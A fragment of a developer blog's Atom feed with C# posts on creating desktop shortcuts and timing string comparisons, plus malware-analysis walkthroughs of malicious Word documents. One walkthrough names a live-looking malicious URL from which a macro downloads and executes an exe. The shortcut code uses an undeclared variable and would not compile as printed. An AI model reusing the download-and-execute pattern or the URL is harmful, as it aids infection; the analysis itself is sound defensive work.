scheme="http://www.blogger.com/atom/ns#" term="scripting"/><category scheme="http://www.blogger.com/atom/ns#" term="shortcut"/><title type='text'>Make a shortcut for application with CSharp</title><content type='html'>I needed to make a shortcut file (.lnk file) from my CSharp application. As far as I know there is no way to do it directly from the .NET code. Only way is to use Windows API calls or Windows scripting capabilities. I decided to use scripting and here is how it gets done.

&lt;br /&gt;
&lt;br /&gt;
First, add a reference to COM-object &#39;Windows Script Host Object Model&#39; from your project&#39;s properties. Secondly, import namespace &#39;IWshRuntimeLibrary&#39; in your code. And here is the code itself:
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;private void MakeShortcut(string appDisplayName, string exeFullPath)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;{&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (string.IsNullOrEmpty(appDisplayName) || string.IsNullOrEmpty(exeFullPath))&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return; // Fail if name or path is missing&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; try&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; IWshShell_Class wsh = new IWshShell_Class();&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; IWshRuntimeLibrary.IWshShortcut shortcut = wsh.CreateShortcut(&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + &quot;\\&quot; + appName + &quot;.lnk&quot;)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; as IWshRuntimeLibrary.IWshShortcut;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; shortcut.Arguments = &quot;&quot;;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; shortcut.TargetPath = exeFullPath;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; shortcut.WindowStyle = 1; // Normal window&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; shortcut.Description = &quot;Shortcut to &quot; + appName;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; shortcut.WorkingDirectory = &quot;&quot;;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; shortcut.IconLocation = exeFullPath;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; shortcut.Save();&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; catch&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;}&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
I wrote it as a procedure so the code can be easily copy/pasted to other projects as well.

&lt;br /&gt;
&lt;br /&gt;
The code above makes a shortcut to Desktop, so change &#39; Environment.SpecialFolder.Desktop&#39; if you need your shortcut to some other place.
</content><link rel='replies' type='application/atom+xml' href='http://windevblog.blogspot.com/feeds/519693994778826358/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/6554224646455070835/519693994778826358' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6554224646455070835/posts/default/519693994778826358'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6554224646455070835/posts/default/519693994778826358'/><link rel='alternate' type='text/html' href='http://windevblog.blogspot.com/2018/04/make-shortcut-for-application-with.html' title='Make a shortcut for application with CSharp'/><author><name>Teme64</name><uri>http://www.blogger.com/profile/16431881374154567974</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6554224646455070835.post-5321750511372314102</id><published>2018-04-15T07:10:00.001-07:00</published><updated>2018-04-15T07:10:32.848-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="binaries"/><category scheme="http://www.blogger.com/atom/ns#" term="deobfuscation"/><category scheme="http://www.blogger.com/atom/ns#" term="download"/><category scheme="http://www.blogger.com/atom/ns#" term="RETouch"/><title type='text'>RETouch installer and download</title><content type='html'>Although RETouch source code is hosted in the GitHub, the RETouch binaries are not. That is because the size limit of the free GitHub account. Now the latest binary with  Windows installer is in the DropBox. Donwload link for RETouch is &lt;a href=&quot;https://www.dropbox.com/sh/hvttkwkt4ovk5r7/AAAn4xqQgjqU0UiD1hVoQv9aa?dl=0&quot;&gt;https://www.dropbox.com/sh/hvttkwkt4ovk5r7/AAAn4xqQgjqU0UiD1hVoQv9aa?dl=0&lt;/a&gt;
</content><link rel='replies' type='application/atom+xml' href='http://windevblog.blogspot.com/feeds/5321750511372314102/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/6554224646455070835/5321750511372314102' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6554224646455070835/posts/default/5321750511372314102'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6554224646455070835/posts/default/5321750511372314102'/><link rel='alternate' type='text/html' href='http://windevblog.blogspot.com/2018/04/retouch-installer-and-download.html' title='RETouch installer and download'/><author><name>Teme64</name><uri>http://www.blogger.com/profile/16431881374154567974</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6554224646455070835.post-4410902137516817236</id><published>2018-04-10T05:12:00.000-07:00</published><updated>2018-04-10T05:32:04.911-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="CSharp"/><category scheme="http://www.blogger.com/atom/ns#" term="String"/><category scheme="http://www.blogger.com/atom/ns#" term="String Comparison"/><title type='text'>String comparison, easy as a == b, right? Wrong!</title><content type='html'>I have recently used a lot of string comparison. Comparing strings is not as easy as one might think. The string comparison should also be done fast when you&#39;re dealing with massive amounts of text. I have needed both case-sensitive and case-insensitive string comparisons. I&#39;ve also needed to determine if a string is a substring of the other string. I have used a few methods and their variants.

&lt;br&gt;&lt;br&gt;To determine if a string is a substring of another string I&#39;ve used two methods:
&lt;br&gt;- Contains method from the string class: &lt;string&gt;.Contains(&lt;stringToSearch&gt;)
&lt;br&gt;- IndexOf method from the string class: &lt;string&gt;.IndexOf(&lt;stringToSearch&gt;)

&lt;br&gt;&lt;br&gt;Both methods do case-sensitive matching of the strings. However, IndexOf method has an overloaded version which does a case-insensitive matching:
&lt;br&gt;- &lt;string&gt;.IndexOf(&lt;stringToSearch&gt;, 0, StringComparison.OrdinalIgnoreCase)
&lt;br&gt;Another method to do case-insensitive matching is to use ToLower() method (or ToUpper()) with both strings. Since I needed fast string comparisons I started to wonder if an extra ToLower() method call would cause a huge time penalty.

&lt;br&gt;&lt;br&gt;I decided to compare four methods and variants:
&lt;br&gt;- case-sensitive Contains method: &lt;string&gt;.Contains(&lt;stringToSearch&gt;)
&lt;br&gt;- case-sensitive IndexOf method: &lt;string&gt;.IndexOf(&lt;stringToSearch&gt;)
&lt;br&gt;- case-insensitive IndexOf method with ToLower method: &lt;string&gt;.ToLower().IndexOf(&lt;stringToSearch&gt;.ToLower())
&lt;br&gt;- case-insensitive &lt;string&gt;.IndexOf(&lt;stringToSearch&gt;, 0, StringComparison.OrdinalIgnoreCase)

&lt;br&gt;&lt;br&gt;I wrote a small CSharp console application that provides comparisons above and would get accurate enough timing of the comparisons. To get measurable timings each comparison variant was repeated in a loop.

&lt;br&gt;&lt;br&gt;So here is the code:

&lt;style&gt;
.csharpcode, .csharpcode pre
{
 font-size: small;
 color: black;
 font-family: consolas, &quot;Courier New&quot;, courier, monospace;
 background-color: #ffffff;
 /*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
 background-color: #f4f4f4;
 width: 100%;
 margin: 0em;
}
.csharpcode .lnum { color: #606060; }&lt;/style&gt;
&lt;br&gt;&lt;br&gt;&lt;pre .csharpcode&gt;class Program
{
    public static string stringToSearch;
    public static string text = &quot;A Function to search for&quot;;
    public static bool match = false;
    public static DateTime startTime;
    public static TimeSpan elapsedTime;

    public static int Method1(int loops, string stringToSearch)
    {
        startTime = DateTime.Now;
        for(int i = 0; i &lt; loops; i++)
        { 
            match = text.Contains(stringToSearch);
        }
        elapsedTime = DateTime.Now.Subtract(startTime);
        Console.WriteLine(&quot;Contains(&quot; + stringToSearch + &quot;): &quot; + match.ToString());
        Console.WriteLine(&quot;Elapsed: &quot; + (int)elapsedTime.TotalMilliseconds);
        return (int)elapsedTime.TotalMilliseconds;
    }

    public static int Method2(int loops, string stringToSearch)
    {
        startTime = DateTime.Now;
        for (int i = 0; i &lt; loops; i++)
        {
            match = text.IndexOf(stringToSearch) &gt;= 0;
        }
        elapsedTime = DateTime.Now.Subtract(startTime);
        Console.WriteLine(&quot;IndexOf(&quot; + stringToSearch + &quot;): &quot; + match.ToString());
        Console.WriteLine(&quot;Elapsed: &quot; + (int)elapsedTime.TotalMilliseconds);
        return (int)elapsedTime.TotalMilliseconds;
    }

    public static int Method3(int loops, string stringToSearch)
    {
        startTime = DateTime.Now;
        for (int i = 0; i &lt; loops; i++)
        {
            match = text.ToLower().IndexOf(stringToSearch.ToLower()) &gt;= 0;
        }
        elapsedTime = DateTime.Now.Subtract(startTime);
        Console.WriteLine(&quot;IndexOf(&quot; + stringToSearch + &quot;.ToLower()): &quot; + match.ToString());
        Console.WriteLine(&quot;Elapsed: &quot; + (int)elapsedTime.TotalMilliseconds);
        return (int)elapsedTime.TotalMilliseconds;
    }

    public static int Method4(int loops, string stringToSearch)
    {
        startTime = DateTime.Now;
        for (int i = 0; i &lt; loops; i++)
        {
            match = text.IndexOf(stringToSearch, 0, StringComparison.OrdinalIgnoreCase) &gt;= 0;
        }
        elapsedTime = DateTime.Now.Subtract(startTime);
        Console.WriteLine(&quot;IndexOf(&quot; + stringToSearch + &quot;, 0, StringComparison.OrdinalIgnoreCase) :&quot; + match.ToString());
        Console.WriteLine(&quot;Elapsed: &quot; + (int)elapsedTime.TotalMilliseconds);
        return (int)elapsedTime.TotalMilliseconds;
    }

    static void Main(string[] args)
    {
        int loops = 1000000; // One million
        int m1 = 0;
        int m2 = 0;
        int m3 = 0;
        int m4 = 0;

        stringToSearch = &quot;Function&quot;;
        m1 += Method1(loops, stringToSearch);
        m2 += Method2(loops, stringToSearch);
        m3 += Method3(loops, stringToSearch);
        m4 += Method4(loops, stringToSearch);

        Console.WriteLine();
        stringToSearch = &quot;not found&quot;;
        m1 += Method1(loops, stringToSearch);
        m2 += Method2(loops, stringToSearch);
        m3 += Method3(loops, stringToSearch);
        m4 += Method4(loops, stringToSearch);

        Console.WriteLine();
        Console.WriteLine(&quot;Method 1 Elapsed: &quot; + (int)(m1 / 2));
        Console.WriteLine(&quot;Method 2 Elapsed: &quot; + (int)(m2 / 2));
        Console.WriteLine(&quot;Method 3 Elapsed: &quot; + (int)(m3 / 2));
        Console.WriteLine(&quot;Method 4 Elapsed: &quot; + (int)(m4 / 2));

        Console.ReadKey();
    }
}&lt;/pre&gt;

&lt;br&gt;&lt;br&gt;The code itself is pretty simple and should be self- explanatory.&lt;br&gt;&lt;br&gt;

&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUNEjh5pb8WfRM3pNGkiCxxkn42xjQyMmQa3poFR4zkcpGz6nKpw2hgxS0u6f_BKyA3XOjuz46M6BGS-H-Tf89-89lX3qZb4pjLrsPwtvCcSDqYEvaPAy150EH_KrMfWbbt-wpPyggGWI/s1600/string_comparison_timings.jpg&quot; imageanchor=&quot;1&quot; &gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUNEjh5pb8WfRM3pNGkiCxxkn42xjQyMmQa3poFR4zkcpGz6nKpw2hgxS0u6f_BKyA3XOjuz46M6BGS-H-Tf89-89lX3qZb4pjLrsPwtvCcSDqYEvaPAy150EH_KrMfWbbt-wpPyggGWI/s640/string_comparison_timings.jpg&quot; width=&quot;600&quot; height=&quot;487&quot; data-original-width=&quot;576&quot; data-original-height=&quot;438&quot; /&gt;&lt;/a&gt;

&lt;br&gt;&lt;br&gt;Each method was executed both with a string that would be found and with a string that would not be found. The final timing was the average of these two.

&lt;br&gt;&lt;br&gt;For the case-insensitive searching &lt;string&gt;.IndexOf(&lt;stringToSearch&gt;, 0, StringComparison.OrdinalIgnoreCase) seems to be the best choice. I was a bit surprised that this was faster than basic &lt;string&gt;.IndexOf(&lt;stringToSearch&gt;) search. If you need only case-sensitive search then &lt;string&gt;.Contains(&lt;stringToSearch&gt;) would be the fastest method.

</content><link rel='replies' type='application/atom+xml' href='http://windevblog.blogspot.com/feeds/4410902137516817236/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/6554224646455070835/4410902137516817236' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6554224646455070835/posts/default/4410902137516817236'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6554224646455070835/posts/default/4410902137516817236'/><link rel='alternate' type='text/html' href='http://windevblog.blogspot.com/2018/04/string-comparison-easy-as-b-right-wrong.html' title='String comparison, easy as a == b, right? Wrong!'/><author><name>Teme64</name><uri>http://www.blogger.com/profile/16431881374154567974</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUNEjh5pb8WfRM3pNGkiCxxkn42xjQyMmQa3poFR4zkcpGz6nKpw2hgxS0u6f_BKyA3XOjuz46M6BGS-H-Tf89-89lX3qZb4pjLrsPwtvCcSDqYEvaPAy150EH_KrMfWbbt-wpPyggGWI/s72-c/string_comparison_timings.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6554224646455070835.post-5026225151298526944</id><published>2018-04-09T04:52:00.001-07:00</published><updated>2018-04-09T04:54:26.033-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="deobfuscation"/><category scheme="http://www.blogger.com/atom/ns#" term="maldoc"/><category scheme="http://www.blogger.com/atom/ns#" term="malware"/><category scheme="http://www.blogger.com/atom/ns#" term="RETouch"/><category scheme="http://www.blogger.com/atom/ns#" term="vbscript"/><category scheme="http://www.blogger.com/atom/ns#" term="Word document"/><title type='text'>A sample analysis walkthrough with RETouch: Testing a new feature</title><content type='html'>Here is another example how to analyze a malware with RETouch. I picked up Zahlung_03_04_2018_658348.doc from &lt;a href=&quot;https://www.hybrid-analysis.com/sample/48fcf340ddc55be9fac90b18685209d1f6a3fc1d8f96011293aed36cf6fbe76a/5ac46b4d7ca3e16a8770b639?t=1&amp;cn=ZmxleGlibGVfcmVjc18y&amp;refsrc=email&amp;iid=27b2220466e8405e9a7261840ff0689a&amp;uid=17060636&amp;nid=244+276893704&quot;&gt;hybrid-analysis.com&lt;/a&gt;. This sample was suitable to test new script deobfuscation feature. This new feature tries to make obfuscated script to more human readable. Feature is not yet available in &lt;a href=&quot;https://github.com/Teme64/RETouch&quot;&gt;Github code&lt;/a&gt; and will be released with RETouch 1.1 version.
&lt;br&gt;
&lt;br&gt;Below is the image of the original code.

&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9WRQ-il96FZpaynSp8oMUGM9RiALOwIhRYHa9IYPwZ9yJSxiP6HETIxYFrwsmTTlI7K0dh3e5NZnlQvAgNJwy9voSZC4VIwA5HZvVrthf_wmR1NAtI7j6faLU531pRqr1bTEv9wHKqPI/s1600/retouch-01a-initialdata.jpg&quot; imageanchor=&quot;1&quot; &gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9WRQ-il96FZpaynSp8oMUGM9RiALOwIhRYHa9IYPwZ9yJSxiP6HETIxYFrwsmTTlI7K0dh3e5NZnlQvAgNJwy9voSZC4VIwA5HZvVrthf_wmR1NAtI7j6faLU531pRqr1bTEv9wHKqPI/s640/retouch-01a-initialdata.jpg&quot; width=&quot;600&quot; height=&quot;472&quot; data-original-width=&quot;782&quot; data-original-height=&quot;577&quot; /&gt;&lt;/a&gt;

&lt;br&gt;
&lt;br&gt;First I select the correct script language, that is VBScript in this case. I also select inserting linebreaks after VBScript keywords, function and variable renaming and also unescaping escaped codes.

&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbn2wdlh10TN0pzU_7AknJhpnw2Vr2pJSGu6ZV2GxoGrfvpZXumsj07w0CCKgGnLjsIEGl5O7fBWPusUxtKMS-jSkVVKPihFTOm9PlC9XH12v9zvB1tlqJwGjZC_WR8etqhJuTlh6ivGo/s1600/retouch-02-fixingcode.jpg&quot; imageanchor=&quot;1&quot; &gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbn2wdlh10TN0pzU_7AknJhpnw2Vr2pJSGu6ZV2GxoGrfvpZXumsj07w0CCKgGnLjsIEGl5O7fBWPusUxtKMS-jSkVVKPihFTOm9PlC9XH12v9zvB1tlqJwGjZC_WR8etqhJuTlh6ivGo/s640/retouch-02-fixingcode.jpg&quot; width=&quot;600&quot; height=&quot;472&quot; data-original-width=&quot;782&quot; data-original-height=&quot;577&quot; /&gt;&lt;/a&gt;

&lt;br&gt;
&lt;br&gt;The final result is _almost_ readable. At this point the easiest way to proceed is to copy/paste code to a Word document and do final fixing.

&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDImPrYmygB4Ady29YyEpZrcgB9Wil-yLFuCCNfkGTGDyfeJwYwFEhpuejoV5In0_T2kxzAiZmEmvBKaxxka8FjBRN-5QQGRrvaB9-CozY5RpK0H21YAvQ71O5_pVHkBmi1o70HEru6NA/s1600/retouch-03-fixedcode.jpg&quot; imageanchor=&quot;1&quot; &gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDImPrYmygB4Ady29YyEpZrcgB9Wil-yLFuCCNfkGTGDyfeJwYwFEhpuejoV5In0_T2kxzAiZmEmvBKaxxka8FjBRN-5QQGRrvaB9-CozY5RpK0H21YAvQ71O5_pVHkBmi1o70HEru6NA/s640/retouch-03-fixedcode.jpg&quot; width=&quot;600&quot; height=&quot;472&quot; data-original-width=&quot;782&quot; data-original-height=&quot;577&quot; /&gt;&lt;/a&gt;

&lt;br&gt;
&lt;br&gt;Copy/Pasting code to VBA-editor enables syntax checking and highlighting. That is very handy for the final steps with the code. Below is the start of the fixed VBA-code. It also shows &quot;mysterious&quot; procA function.

&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqsqyoK00IE2PcVhFZtMaJ6W8s1NApcN9mIOwId3uXNcXfIzXWt3cS4eAVbklm2q-DqgTWsfha51StY5lXAr3mIeamGfhrVQmiQDfdusE-p06EBgOVFdWu7DnShjBVMocs6Wb7nCDozKs/s1600/retouch-04-wordmacro.jpg&quot; imageanchor=&quot;1&quot; &gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqsqyoK00IE2PcVhFZtMaJ6W8s1NApcN9mIOwId3uXNcXfIzXWt3cS4eAVbklm2q-DqgTWsfha51StY5lXAr3mIeamGfhrVQmiQDfdusE-p06EBgOVFdWu7DnShjBVMocs6Wb7nCDozKs/s640/retouch-04-wordmacro.jpg&quot; width=&quot;600&quot; height=&quot;472&quot; data-original-width=&quot;782&quot; data-original-height=&quot;577&quot; /&gt;&lt;/a&gt;

&lt;br&gt;
&lt;br&gt;After fixing the latter part of the code, the code starts to make sense. &quot;Mysterious&quot; procA converts Base64 code to text. The text is split to shorter strings which are obfuscated by coding them with Base64.

&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcR5G1lY0UHmIQpy7eNWEcqSvpnP50IYSEe-vQFHZKg9F6qMLljzw_fQE9JWe7tRs1AXjbCm0F-LUQ8yhsvnWkhLNv3ERTHOoEyu88UKnaiD767PLzdpUpaqm0uJgL_z_ZhPf-4Q0YkMY/s1600/retouch-05-wordmacro.jpg&quot; imageanchor=&quot;1&quot; &gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcR5G1lY0UHmIQpy7eNWEcqSvpnP50IYSEe-vQFHZKg9F6qMLljzw_fQE9JWe7tRs1AXjbCm0F-LUQ8yhsvnWkhLNv3ERTHOoEyu88UKnaiD767PLzdpUpaqm0uJgL_z_ZhPf-4Q0YkMY/s640/retouch-05-wordmacro.jpg&quot; width=&quot;600&quot; height=&quot;421&quot; data-original-width=&quot;961&quot; data-original-height=&quot;632&quot; /&gt;&lt;/a&gt;

&lt;br&gt;
&lt;br&gt;VBA-code uses MSXML2.XMLHTTP to download an exe file from https://tous1site.name/axctogh.exe. Final lines start Wscript.Shell to execute downloaded file.

&lt;br&gt;
&lt;br&gt;Executable file is no longer available and what it does would be outside of RETouch&#39;s scope anyway.
</content><link rel='replies' type='application/atom+xml' href='http://windevblog.blogspot.com/feeds/5026225151298526944/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/6554224646455070835/5026225151298526944' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6554224646455070835/posts/default/5026225151298526944'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6554224646455070835/posts/default/5026225151298526944'/><link rel='alternate' type='text/html' href='http://windevblog.blogspot.com/2018/04/a-sample-analysis-walkthrough-with_9.html' title='A sample analysis walkthrough with RETouch: Testing a new feature'/><author><name>Teme64</name><uri>http://www.blogger.com/profile/16431881374154567974</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9WRQ-il96FZpaynSp8oMUGM9RiALOwIhRYHa9IYPwZ9yJSxiP6HETIxYFrwsmTTlI7K0dh3e5NZnlQvAgNJwy9voSZC4VIwA5HZvVrthf_wmR1NAtI7j6faLU531pRqr1bTEv9wHKqPI/s72-c/retouch-01a-initialdata.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6554224646455070835.post-3797556859891840832</id><published>2018-04-07T06:08:00.001-07:00</published><updated>2018-04-07T06:08:13.896-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="deobfuscation"/><category scheme="http://www.blogger.com/atom/ns#" term="maldoc"/><category scheme="http://www.blogger.com/atom/ns#" term="malware"/><category scheme="http://www.blogger.com/atom/ns#" term="RETouch"/><category scheme="http://www.blogger.com/atom/ns#" term="script"/><category scheme="http://www.blogger.com/atom/ns#" term="Word document"/><title type='text'>A sample analysis walkthrough with RETouch</title><content type='html'>Here is an example how to analyze a malware with RETouch. The malware&#39;s hash (SHA256) is 63eaddbbe91031cb1d8f38cdbc679adacd232f97bbc061f02073d909c11c1594 and it can be found from &lt;a href=&quot;https://www.virustotal.com/#/file/63eaddbbe91031cb1d8f38cdbc679adacd232f97bbc061f02073d909c11c1594/detection&quot;&gt;VirusTotal&lt;/a&gt;.

First I open datafile 63eaddbbe91031cb1d8f38cdbc679adacd232f97bbc061f02073d909c11c1594.bin (Word document). If I didn&#39;t know the SHA256, I would get the checksums first.

&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh03HSGj6n9uza13wG4HlKd1y7i72SIx1hyphenhyphendje9w9_3Sfv8Gog816ISlGDty76gYVnr8vOboWzFbU_QFx-EeWyhGXO4TlCN6i9Mt9-RVzDBcuOnvOPUwLo3HcKhF5wf0IzGsLqcUOUkM2E/s1600/retouch-01-checksums.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh03HSGj6n9uza13wG4HlKd1y7i72SIx1hyphenhyphendje9w9_3Sfv8Gog816ISlGDty76gYVnr8vOboWzFbU_QFx-EeWyhGXO4TlCN6i9Mt9-RVzDBcuOnvOPUwLo3HcKhF5wf0IzGsLqcUOUkM2E/s640/retouch-01-checksums.jpg&quot; width=&quot;600&quot; height=&quot;407&quot; data-original-width=&quot;835&quot; data-original-height=&quot;531&quot; /&gt;&lt;/a&gt;&lt;/div&gt;

RETouch can calculate most commonly used hashes: MD5, SHA1 and SHA256.

&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMYmx8AdQ3MexvwkufqJ-4CeRee5oZp6cYv4YTfrXwb3Ymn3eE4NuQ1r12BFUnVfVBDv9MtA5IOV5M4IxKbiYZGGU7xfe1PZtO6YI8eYbFF6dDVnuL8fAjc1URIUqPFuMIrFZ7LA2xXyQ/s1600/retouch-02-checksums.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMYmx8AdQ3MexvwkufqJ-4CeRee5oZp6cYv4YTfrXwb3Ymn3eE4NuQ1r12BFUnVfVBDv9MtA5IOV5M4IxKbiYZGGU7xfe1PZtO6YI8eYbFF6dDVnuL8fAjc1URIUqPFuMIrFZ7LA2xXyQ/s640/retouch-02-checksums.jpg&quot; width=&quot;600&quot; height=&quot;398&quot; data-original-width=&quot;854&quot; data-original-height=&quot;531&quot; /&gt;&lt;/a&gt;&lt;/div&gt;

